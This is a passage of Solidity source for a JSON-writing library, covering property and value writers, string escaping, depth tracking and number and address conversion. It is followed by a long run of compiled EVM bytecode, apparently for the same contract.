* @dev Writes the string text value (as a JSON string) as an element of a JSON array.
*/
function writeStringProperty(
Json memory json,
string memory propertyName,
string memory value
) public pure returns (Json memory) {
string memory jsonEscapedString = escapeJsonString(value);
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
propertyName,
'": "',
jsonEscapedString,
'"'
)
);
} else {
json.value = string(
abi.encodePacked(
json.value,
'"',
propertyName,
'": "',
jsonEscapedString,
'"'
)
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the property name and string text value (as a JSON string) as part of a name/value pair of a JSON object.
*/
function writeStringValue(Json memory json, string memory value)
public
pure
returns (Json memory)
{
string memory jsonEscapedString = escapeJsonString(value);
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
jsonEscapedString,
'"'
)
);
} else {
json.value = string(
abi.encodePacked(json.value, '"', jsonEscapedString, '"')
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the property name and uint value (as a JSON number) as part of a name/value pair of a JSON object.
*/
function writeUintProperty(
Json memory json,
string memory propertyName,
uint256 value
) public pure returns (Json memory) {
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
propertyName,
'": ',
uintToString(value)
)
);
} else {
json.value = string(
abi.encodePacked(
json.value,
'"',
propertyName,
'": ',
uintToString(value)
)
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the uint value (as a JSON number) as an element of a JSON array.
*/
function writeUintValue(Json memory json, uint256 value)
public
pure
returns (Json memory)
{
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(json.value, LIST_SEPARATOR, uintToString(value))
);
} else {
json.value = string(abi.encodePacked(json.value, uintToString(value)));
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the beginning of a JSON array or object based on the token parameter.
*/
function writeStart(Json memory json, bytes1 token)
public
pure
returns (Json memory)
{
if (json.depthBitTracker < 0) {
json.value = string(abi.encodePacked(json.value, LIST_SEPARATOR, token));
} else {
json.value = string(abi.encodePacked(json.value, token));
}
json.depthBitTracker &= MAX_INT256;
json.depthBitTracker++;
return json;
}
/**
* @dev Writes the beginning of a JSON array or object based on the token parameter with a property name as the key.
*/
function writeStart(
Json memory json,
string memory propertyName,
bytes1 token
) public pure returns (Json memory) {
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
propertyName,
'": ',
token
)
);
} else {
json.value = string(
abi.encodePacked(json.value, '"', propertyName, '": ', token)
);
}
json.depthBitTracker &= MAX_INT256;
json.depthBitTracker++;
return json;
}
/**
* @dev Writes the end of a JSON array or object based on the token parameter.
*/
function writeEnd(Json memory json, bytes1 token)
public
pure
returns (Json memory)
{
json.value = string(abi.encodePacked(json.value, token));
json.depthBitTracker = setListSeparatorFlag(json);
if (getCurrentDepth(json) != 0) {
json.depthBitTracker--;
}
return json;
}
/**
* @dev Escapes any characters that required by JSON to be escaped.
*/
function escapeJsonString(string memory value)
public
pure
returns (string memory str)
{
bytes memory b = bytes(value);
bool foundEscapeChars;
for (uint256 i; i < b.length; i++) {
if (b[i] == BACKSLASH) {
foundEscapeChars = true;
break;
} else if (b[i] == DOUBLE_QUOTE) {
foundEscapeChars = true;
break;
} else if (b[i] == FRONTSLASH) {
foundEscapeChars = true;
break;
} else if (b[i] == HORIZONTAL_TAB) {
foundEscapeChars = true;
break;
} else if (b[i] == FORM_FEED) {
foundEscapeChars = true;
break;
} else if (b[i] == NEWLINE) {
foundEscapeChars = true;
break;
} else if (b[i] == CARRIAGE_RETURN) {
foundEscapeChars = true;
break;
} else if (b[i] == BACKSPACE) {
foundEscapeChars = true;
break;
}
}
if (!foundEscapeChars) {
return value;
}
for (uint256 i; i < b.length; i++) {
if (b[i] == BACKSLASH) {
str = string(abi.encodePacked(str, "\\\\"));
} else if (b[i] == DOUBLE_QUOTE) {
str = string(abi.encodePacked(str, '\\"'));
} else if (b[i] == FRONTSLASH) {
str = string(abi.encodePacked(str, "\\/"));
} else if (b[i] == HORIZONTAL_TAB) {
str = string(abi.encodePacked(str, "\\t"));
} else if (b[i] == FORM_FEED) {
str = string(abi.encodePacked(str, "\\f"));
} else if (b[i] == NEWLINE) {
str = string(abi.encodePacked(str, "\\n"));
} else if (b[i] == CARRIAGE_RETURN) {
str = string(abi.encodePacked(str, "\\r"));
} else if (b[i] == BACKSPACE) {
str = string(abi.encodePacked(str, "\\b"));
} else {
str = string(abi.encodePacked(str, b[i]));
}
}
return str;
}
/**
* @dev Tracks the recursive depth of the nested objects / arrays within the JSON text
* written so far. This provides the depth of the current token.
*/
function getCurrentDepth(Json memory json) public pure returns (int256) {
return json.depthBitTracker & MAX_INT256;
}
/**
* @dev The highest order bit of json.depthBitTracker is used to discern whether we are writing the first item in a list or not.
* if (json.depthBitTracker >> 255) == 1, add a list separator before writing the item
* else, no list separator is needed since we are writing the first item.
*/
function setListSeparatorFlag(Json memory json)
private
pure
returns (int256)
{
return json.depthBitTracker | (int256(1) << 255);
}
/**
* @dev Converts an address to a string.
*/
function addressToString(address _address)
internal
pure
returns (string memory)
{
bytes32 value = bytes32(uint256(uint160(_address)));
bytes16 alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = "0";
str[1] = "x";
for (uint256 i; i < 20; i++) {
str[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)];
str[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
/**
* @dev Converts an int to a string.
*/
function intToString(int256 i) internal pure returns (string memory) {
if (i == 0) {
return "0";
}
if (i == type(int256).min) {
// hard-coded since int256 min value can't be converted to unsigned
return
"-57896044618658097711785492504343953926634992332820282019728792003956564819968";
}
bool negative = i < 0;
uint256 len;
uint256 j;
if (!negative) {
j = uint256(i);
} else {
j = uint256(-i);
++len; // make room for '-' sign
}
uint256 l = j;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (l != 0) {
bstr[--k] = bytes1((48 + uint8(l - (l / 10) * 10)));
l /= 10;
}
if (negative) {
bstr[0] = "-"; // prepend '-'
}
return string(bstr);
}
/**
* @dev Converts a uint to a string.
*/
function uintToString(uint256 _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
bstr[--k] = bytes1((48 + uint8(_i - (_i / 10) * 10)));
_i /= 10;
}
return string(bstr);
}
}
|
0x739d032763693d4ef989b630de2eca8750bde8821930146080604052600436106101575760003560e01c806387bf04df116100cd578063cd99004d11610086578063cd99004d1461048c578063d49a3811146104bc578063defc439d146104ec578063e6cf6cfa1461051c578063f178d4991461054c578063f4b3ae8e1461057c57610157565b806387bf04df1461036c5780639c1b9fe61461039c5780639ed7815c146103cc5780639edc767a146103fc578063b26b45041461042c578063b28605461461045c57610157565b8063540462431161011f578063540462431461024c57806359d754cd1461027c578063615a94a6146102ac5780636e879090146102dc5780637c5cb8831461030c5780638283c7f81461033c57610157565b8063010550ed1461015c57806319aaceea1461018c5780633417b59e146101bc57806339f824f8146101ec578063539646751461021c575b600080fd5b6101766004803603810190610171919061256d565b6105ac565b604051610183919061269d565b60405180910390f35b6101a660048036038101906101a1919061271d565b610670565b6040516101b3919061269d565b60405180910390f35b6101d660048036038101906101d191906127d1565b610734565b6040516101e3919061269d565b60405180910390f35b6102066004803603810190610201919061285c565b610821565b604051610213919061269d565b60405180910390f35b610236600480360381019061023191906128dd565b61085a565b604051610243919061269d565b60405180910390f35b6102666004803603810190610261919061299e565b610992565b604051610273919061269d565b60405180910390f35b610296600480360381019061029191906129fa565b610a56565b6040516102a3919061269d565b60405180910390f35b6102c660048036038101906102c1919061285c565b610b89565b6040516102d3919061269d565b60405180910390f35b6102f660048036038101906102f19190612a56565b610bc2565b604051610303919061269d565b60405180910390f35b6103266004803603810190610321919061285c565b610c84565b604051610333919061269d565b60405180910390f35b61035660048036038101906103519190612ace565b610cbd565b604051610363919061269d565b60405180910390f35b61038660048036038101906103819190612b75565b610d84565b604051610393919061269d565b60405180910390f35b6103b660048036038101906103b19190612a56565b610e4d565b6040516103c3919061269d565b60405180910390f35b6103e660048036038101906103e1919061285c565b610e88565b6040516103f3919061269d565b60405180910390f35b61041660048036038101906104119190612a56565b610f37565b604051610423919061269d565b60405180910390f35b61044660048036038101906104419190612c00565b610feb565b6040516104539190612c93565b60405180910390f35b6104766004803603810190610471919061285c565b6118e3565b6040516104839190612cc4565b60405180910390f35b6104a660048036038101906104a19190612cdf565b611913565b6040516104b3919061269d565b60405180910390f35b6104d660048036038101906104d1919061285c565b6119dc565b6040516104e3919061269d565b60405180910390f35b61050660048036038101906105019190612d6a565b611a15565b604051610513919061269d565b60405180910390f35b61053660048036038101906105319190612d6a565b611afd565b604051610543919061269d565b60405180910390f35b61056660048036038101906105619190612a56565b611b75565b604051610573919061269d565b60405180910390f35b61059660048036038101906105919190612dc6565b611bb0565b6040516105a3919061269d565b60405180910390f35b6105b461234d565b60008360000151121561061e5782602001517f2c000000000000000000000000000000000000000000000000000000000000006105f084611c79565b60405160200161060293929190612eae565b6040516020818303038152906040528360200181905250610655565b826020015161062c83611c79565b60405160200161063d929190612ee3565b60405160208183030381529060405283602001819052505b61065e83611ed6565b83600001818152505082905092915050565b61067861234d565b6000836000015112156106e25782602001517f2c000000000000000000000000000000000000000000000000000000000000006106b484611eeb565b6040516020016106c693929190612f53565b6040516020818303038152906040528360200181905250610719565b82602001516106f083611eeb565b604051602001610701929190612f9e565b60405160208183030381529060405283602001819052505b61072283611ed6565b83600001818152505082905092915050565b61073c61234d565b6000846000015112156107a05783602001517f2c0000000000000000000000000000000000000000000000000000000000000084846040516020016107849493929190613024565b60405160208183030381529060405284602001819052506107d1565b836020015183836040516020016107b993929190613080565b60405160208183030381529060405284602001819052505b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff846000018181511691508181525050836000018051809190610813906130fa565b815250508390509392505050565b61082961234d565b610853827f7d00000000000000000000000000000000000000000000000000000000000000611afd565b9050919050565b61086261234d565b606082156108a7576040518060400160405280600481526020017f747275650000000000000000000000000000000000000000000000000000000081525090506108e0565b6040518060400160405280600581526020017f66616c736500000000000000000000000000000000000000000000000000000081525090505b6000856000015112156109445784602001517f2c0000000000000000000000000000000000000000000000000000000000000085836040516020016109289493929190613143565b6040516020818303038152906040528560200181905250610975565b8460200151848260405160200161095d9392919061319b565b60405160208183030381529060405285602001819052505b61097e85611ed6565b856000018181525050849150509392505050565b61099a61234d565b600083600001511215610a045782602001517f2c000000000000000000000000000000000000000000000000000000000000006109d6846121d3565b6040516020016109e893929190612eae565b6040516020818303038152906040528360200181905250610a3b565b8260200151610a12836121d3565b604051602001610a23929190612ee3565b60405160208183030381529060405283602001819052505b610a4483611ed6565b83600001818152505082905092915050565b610a5e61234d565b60608215610aa3576040518060400160405280600481526020017f74727565000000000000000000000000000000000000000000000000000000008152509050610adc565b6040518060400160405280600581526020017f66616c736500000000000000000000000000000000000000000000000000000081525090505b600084600001511215610b3e5783602001517f2c0000000000000000000000000000000000000000000000000000000000000082604051602001610b2293929190612eae565b6040516020818303038152906040528460200181905250610b6d565b836020015181604051602001610b55929190612ee3565b60405160208183030381529060405284602001819052505b610b7684611ed6565b8460000181815250508391505092915050565b610b9161234d565b610bbb827f5b00000000000000000000000000000000000000000000000000000000000000611a15565b9050919050565b610bca61234d565b6000610bd583610feb565b9050600084600001511215610c395783602001517f2c0000000000000000000000000000000000000000000000000000000000000082604051602001610c1d93929190612f53565b6040516020818303038152906040528460200181905250610c68565b836020015181604051602001610c50929190612f9e565b60405160208183030381529060405284602001819052505b610c7184611ed6565b8460000181815250508391505092915050565b610c8c61234d565b610cb6827f7b00000000000000000000000000000000000000000000000000000000000000611a15565b9050919050565b610cc561234d565b6000610cd083610feb565b9050600085600001511215610d365784602001517f2c000000000000000000000000000000000000000000000000000000000000008583604051602001610d1a949392919061322e565b6040516020818303038152906040528560200181905250610d67565b84602001518482604051602001610d4f93929190613291565b60405160208183030381529060405285602001819052505b610d7085611ed6565b856000018181525050849150509392505050565b610d8c61234d565b600084600001511215610df85783602001517f2c0000000000000000000000000000000000000000000000000000000000000084610dc985611eeb565b604051602001610ddc949392919061322e565b6040516020818303038152906040528460200181905250610e31565b836020015183610e0784611eeb565b604051602001610e1993929190613291565b60405160208183030381529060405284602001819052505b610e3a84611ed6565b8460000181815250508390509392505050565b610e5561234d565b610e8083837f5b00000000000000000000000000000000000000000000000000000000000000610734565b905092915050565b610e9061234d565b600082600001511215610ef05781602001517f2c00000000000000000000000000000000000000000000000000000000000000604051602001610ed492919061332f565b6040516020818303038152906040528260200181905250610f1d565b8160200151604051602001610f059190613362565b60405160208183030381529060405282602001819052505b610f2682611ed6565b826000018181525050819050919050565b610f3f61234d565b600083600001511215610fa15782602001517f2c0000000000000000000000000000000000000000000000000000000000000083604051602001610f85939291906133d0565b6040516020818303038152906040528360200181905250610fd0565b826020015182604051602001610fb892919061341b565b60405160208183030381529060405283602001819052505b610fd983611ed6565b83600001818152505082905092915050565b606060008290506000805b82518110156113c257605c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061103957611038613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561107557600191506113c2565b602260f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181106110af576110ae613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156110eb57600191506113c2565b602f60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061112557611124613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561116157600191506113c2565b600960f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061119b5761119a613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156111d757600191506113c2565b600c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061121157611210613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561124d57600191506113c2565b600a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061128757611286613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156112c357600191506113c2565b600d60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181106112fd576112fc613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561133957600191506113c2565b600860f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061137357611372613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156113af57600191506113c2565b80806113ba90613484565b915050610ff6565b50806113d25783925050506118de565b60005b82518110156118da57605c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061141857611417613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611472578360405160200161145c9190613519565b60405160208183030381529060405293506118c7565b602260f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181106114ac576114ab613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561150657836040516020016114f09190613587565b60405160208183030381529060405293506118c6565b602f60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181106115405761153f613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561159a578360405160200161158491906135f5565b60405160208183030381529060405293506118c5565b600960f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181106115d4576115d3613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561162e57836040516020016116189190613663565b60405160208183030381529060405293506118c4565b600c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061166857611667613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156116c257836040516020016116ac91906136d1565b60405160208183030381529060405293506118c3565b600a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181106116fc576116fb613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156117565783604051602001611740919061373f565b60405160208183030381529060405293506118c2565b600d60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168382815181106117905761178f613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156117ea57836040516020016117d491906137ad565b60405160208183030381529060405293506118c1565b600860f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811061182457611823613455565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561187e5783604051602001611868919061381b565b60405160208183030381529060405293506118c0565b8383828151811061189257611891613455565b5b602001015160f81c60f81b6040516020016118ae92919061383d565b60405160208183030381529060405293505b5b5b5b5b5b5b5b80806118d290613484565b9150506113d5565b5050505b919050565b60007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8260000151169050919050565b61191b61234d565b6000846000015112156119875783602001517f2c0000000000000000000000000000000000000000000000000000000000000084611958856121d3565b60405160200161196b9493929190613143565b60405160208183030381529060405284602001819052506119c0565b836020015183611996846121d3565b6040516020016119a89392919061319b565b60405160208183030381529060405284602001819052505b6119c984611ed6565b8460000181815250508390509392505050565b6119e461234d565b611a0e827f5d00000000000000000000000000000000000000000000000000000000000000611afd565b9050919050565b611a1d61234d565b600083600001511215611a7f5782602001517f2c0000000000000000000000000000000000000000000000000000000000000083604051602001611a6393929190613865565b6040516020818303038152906040528360200181905250611aae565b826020015182604051602001611a9692919061383d565b60405160208183030381529060405283602001819052505b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff836000018181511691508181525050826000018051809190611af0906130fa565b8152505082905092915050565b611b0561234d565b826020015182604051602001611b1c92919061383d565b6040516020818303038152906040528360200181905250611b3c83611ed6565b8360000181815250506000611b50846118e3565b14611b6c57826000018051809190611b679061389e565b815250505b82905092915050565b611b7d61234d565b611ba883837f7b00000000000000000000000000000000000000000000000000000000000000610734565b905092915050565b611bb861234d565b600084600001511215611c245783602001517f2c0000000000000000000000000000000000000000000000000000000000000084611bf585611c79565b604051602001611c089493929190613143565b6040516020818303038152906040528460200181905250611c5d565b836020015183611c3384611c79565b604051602001611c459392919061319b565b60405160208183030381529060405284602001819052505b611c6684611ed6565b8460000181815250508390509392505050565b60606000821415611cc1576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611ed1565b7f8000000000000000000000000000000000000000000000000000000000000000821415611d09576040518060800160405280604e8152602001613ae3604e91399050611ed1565b6000808312905060008082611d2057849050611d39565b84611d2a906138e7565b905081611d3690613484565b91505b60008190505b60008214611d69578280611d5290613484565b935050600a82611d62919061395f565b9150611d3f565b60008367ffffffffffffffff811115611d8557611d84612391565b5b6040519080825280601f01601f191660200182016040528015611db75781602001600182028036833780820191505090505b50905060008490505b60008314611e5c57600a8084611dd6919061395f565b611de09190613990565b83611deb91906139ea565b6030611df79190613a2b565b60f81b8282611e0590613a62565b92508281518110611e1957611e18613455565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a83611e55919061395f565b9250611dc0565b8515611ec7577f2d0000000000000000000000000000000000000000000000000000000000000082600081518110611e9757611e96613455565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b8196505050505050505b919050565b600060ff6001901b8260000151179050919050565b606060008273ffffffffffffffffffffffffffffffffffffffff1660001b905060007f303132333435363738396162636465660000000000000000000000000000000090506000602a67ffffffffffffffff811115611f4d57611f4c612391565b5b6040519080825280601f01601f191660200182016040528015611f7f5781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611fb757611fb6613455565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061201b5761201a613455565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060005b60148110156121c75782600485600c846120679190613a8c565b6020811061207857612077613455565b5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff16601081106120b7576120b6613455565b5b1a60f81b826002836120c99190613990565b60026120d59190613a8c565b815181106120e6576120e5613455565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082600f60f81b85600c846121299190613a8c565b6020811061213a57612139613455565b5b1a60f81b1660f81c60ff166010811061215657612155613455565b5b1a60f81b826002836121689190613990565b60036121749190613a8c565b8151811061218557612184613455565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806121bf90613484565b91505061204d565b50809350505050919050565b6060600082141561221b576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612348565b600082905060005b6000821461224d57808061223690613484565b915050600a82612246919061395f565b9150612223565b60008167ffffffffffffffff81111561226957612268612391565b5b6040519080825280601f01601f19166020018201604052801561229b5781602001600182028036833780820191505090505b50905060008290505b6000861461234057600a80876122ba919061395f565b6122c49190613990565b866122cf91906139ea565b60306122db9190613a2b565b60f81b82826122e990613a62565b925082815181106122fd576122fc613455565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a86612339919061395f565b95506122a4565b819450505050505b919050565b604051806040016040528060008152602001606081525090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123c982612380565b810181811067ffffffffffffffff821117156123e8576123e7612391565b5b80604052505050565b60006123fb612367565b905061240782826123c0565b919050565b600080fd5b6000819050919050565b61242481612411565b811461242f57600080fd5b50565b6000813590506124418161241b565b92915050565b600080fd5b600080fd5b600067ffffffffffffffff82111561246c5761246b612391565b5b61247582612380565b9050602081019050919050565b82818337600083830152505050565b60006124a461249f84612451565b6123f1565b9050828152602081018484840111156124c0576124bf61244c565b5b6124cb848285612482565b509392505050565b600082601f8301126124e8576124e7612447565b5b81356124f8848260208601612491565b91505092915050565b6000604082840312156125175761251661237b565b5b61252160406123f1565b9050600061253184828501612432565b600083015250602082013567ffffffffffffffff8111156125555761255461240c565b5b612561848285016124d3565b60208301525092915050565b6000806040838503121561258457612583612371565b5b600083013567ffffffffffffffff8111156125a2576125a1612376565b5b6125ae85828601612501565b92505060206125bf85828601612432565b9150509250929050565b6125d281612411565b82525050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126125780820151818401526020810190506125f7565b83811115612621576000848401525b50505050565b6000612632826125d8565b61263c81856125e3565b935061264c8185602086016125f4565b61265581612380565b840191505092915050565b600060408301600083015161267860008601826125c9565b50602083015184820360208601526126908282612627565b9150508091505092915050565b600060208201905081810360008301526126b78184612660565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126ea826126bf565b9050919050565b6126fa816126df565b811461270557600080fd5b50565b600081359050612717816126f1565b92915050565b6000806040838503121561273457612733612371565b5b600083013567ffffffffffffffff81111561275257612751612376565b5b61275e85828601612501565b925050602061276f85828601612708565b9150509250929050565b60007fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b6127ae81612779565b81146127b957600080fd5b50565b6000813590506127cb816127a5565b92915050565b6000806000606084860312156127ea576127e9612371565b5b600084013567ffffffffffffffff81111561280857612807612376565b5b61281486828701612501565b935050602084013567ffffffffffffffff81111561283557612834612376565b5b612841868287016124d3565b9250506040612852868287016127bc565b9150509250925092565b60006020828403121561287257612871612371565b5b600082013567ffffffffffffffff8111156128905761288f612376565b5b61289c84828501612501565b91505092915050565b60008115159050919050565b6128ba816128a5565b81146128c557600080fd5b50565b6000813590506128d7816128b1565b92915050565b6000806000606084860312156128f6576128f5612371565b5b600084013567ffffffffffffffff81111561291457612913612376565b5b61292086828701612501565b935050602084013567ffffffffffffffff81111561294157612940612376565b5b61294d868287016124d3565b925050604061295e868287016128c8565b9150509250925092565b6000819050919050565b61297b81612968565b811461298657600080fd5b50565b60008135905061299881612972565b92915050565b600080604083850312156129b5576129b4612371565b5b600083013567ffffffffffffffff8111156129d3576129d2612376565b5b6129df85828601612501565b92505060206129f085828601612989565b9150509250929050565b60008060408385031215612a1157612a10612371565b5b600083013567ffffffffffffffff811115612a2f57612a2e612376565b5b612a3b85828601612501565b9250506020612a4c858286016128c8565b9150509250929050565b60008060408385031215612a6d57612a6c612371565b5b600083013567ffffffffffffffff811115612a8b57612a8a612376565b5b612a9785828601612501565b925050602083013567ffffffffffffffff811115612ab857612ab7612376565b5b612ac4858286016124d3565b9150509250929050565b600080600060608486031215612ae757612ae6612371565b5b600084013567ffffffffffffffff811115612b0557612b04612376565b5b612b1186828701612501565b935050602084013567ffffffffffffffff811115612b3257612b31612376565b5b612b3e868287016124d3565b925050604084013567ffffffffffffffff811115612b5f57612b5e612376565b5b612b6b868287016124d3565b9150509250925092565b600080600060608486031215612b8e57612b8d612371565b5b600084013567ffffffffffffffff811115612bac57612bab612376565b5b612bb886828701612501565b935050602084013567ffffffffffffffff811115612bd957612bd8612376565b5b612be5868287016124d3565b9250506040612bf686828701612708565b9150509250925092565b600060208284031215612c1657612c15612371565b5b600082013567ffffffffffffffff811115612c3457612c33612376565b5b612c40848285016124d3565b91505092915050565b600082825260208201905092915050565b6000612c65826125d8565b612c6f8185612c49565b9350612c7f8185602086016125f4565b612c8881612380565b840191505092915050565b60006020820190508181036000830152612cad8184612c5a565b905092915050565b612cbe81612411565b82525050565b6000602082019050612cd96000830184612cb5565b92915050565b600080600060608486031215612cf857612cf7612371565b5b600084013567ffffffffffffffff811115612d1657612d15612376565b5b612d2286828701612501565b935050602084013567ffffffffffffffff811115612d4357612d42612376565b5b612d4f868287016124d3565b9250506040612d6086828701612989565b9150509250925092565b60008060408385031215612d8157612d80612371565b5b600083013567ffffffffffffffff811115612d9f57612d9e612376565b5b612dab85828601612501565b9250506020612dbc858286016127bc565b9150509250929050565b600080600060608486031215612ddf57612dde612371565b5b600084013567ffffffffffffffff811115612dfd57612dfc612376565b5b612e0986828701612501565b935050602084013567ffffffffffffffff811115612e2a57612e29612376565b5b612e36868287016124d3565b9250506040612e4786828701612432565b9150509250925092565b600081905092915050565b6000612e67826125d8565b612e718185612e51565b9350612e818185602086016125f4565b80840191505092915050565b6000819050919050565b612ea8612ea382612779565b612e8d565b82525050565b6000612eba8286612e5c565b9150612ec68285612e97565b600182019150612ed68284612e5c565b9150819050949350505050565b6000612eef8285612e5c565b9150612efb8284612e5c565b91508190509392505050565b7f2200000000000000000000000000000000000000000000000000000000000000600082015250565b6000612f3d600183612e51565b9150612f4882612f07565b600182019050919050565b6000612f5f8286612e5c565b9150612f6b8285612e97565b600182019150612f7a82612f30565b9150612f868284612e5c565b9150612f9182612f30565b9150819050949350505050565b6000612faa8285612e5c565b9150612fb582612f30565b9150612fc18284612e5c565b9150612fcc82612f30565b91508190509392505050565b7f223a200000000000000000000000000000000000000000000000000000000000600082015250565b600061300e600383612e51565b915061301982612fd8565b600382019050919050565b60006130308287612e5c565b915061303c8286612e97565b60018201915061304b82612f30565b91506130578285612e5c565b915061306282613001565b915061306e8284612e97565b60018201915081905095945050505050565b600061308c8286612e5c565b915061309782612f30565b91506130a38285612e5c565b91506130ae82613001565b91506130ba8284612e97565b600182019150819050949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061310582612411565b91507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613138576131376130cb565b5b600182019050919050565b600061314f8287612e5c565b915061315b8286612e97565b60018201915061316a82612f30565b91506131768285612e5c565b915061318182613001565b915061318d8284612e5c565b915081905095945050505050565b60006131a78286612e5c565b91506131b282612f30565b91506131be8285612e5c565b91506131c982613001565b91506131d58284612e5c565b9150819050949350505050565b7f223a202200000000000000000000000000000000000000000000000000000000600082015250565b6000613218600483612e51565b9150613223826131e2565b600482019050919050565b600061323a8287612e5c565b91506132468286612e97565b60018201915061325582612f30565b91506132618285612e5c565b915061326c8261320b565b91506132788284612e5c565b915061328382612f30565b915081905095945050505050565b600061329d8286612e5c565b91506132a882612f30565b91506132b48285612e5c565b91506132bf8261320b565b91506132cb8284612e5c565b91506132d682612f30565b9150819050949350505050565b7f6e756c6c00000000000000000000000000000000000000000000000000000000600082015250565b6000613319600483612e51565b9150613324826132e3565b600482019050919050565b600061333b8285612e5c565b91506133478284612e97565b6001820191506133568261330c565b91508190509392505050565b600061336e8284612e5c565b91506133798261330c565b915081905092915050565b7f223a206e756c6c00000000000000000000000000000000000000000000000000600082015250565b60006133ba600783612e51565b91506133c582613384565b600782019050919050565b60006133dc8286612e5c565b91506133e88285612e97565b6001820191506133f782612f30565b91506134038284612e5c565b915061340e826133ad565b9150819050949350505050565b60006134278285612e5c565b915061343282612f30565b915061343e8284612e5c565b9150613449826133ad565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061348f82612968565b91507ffffffffff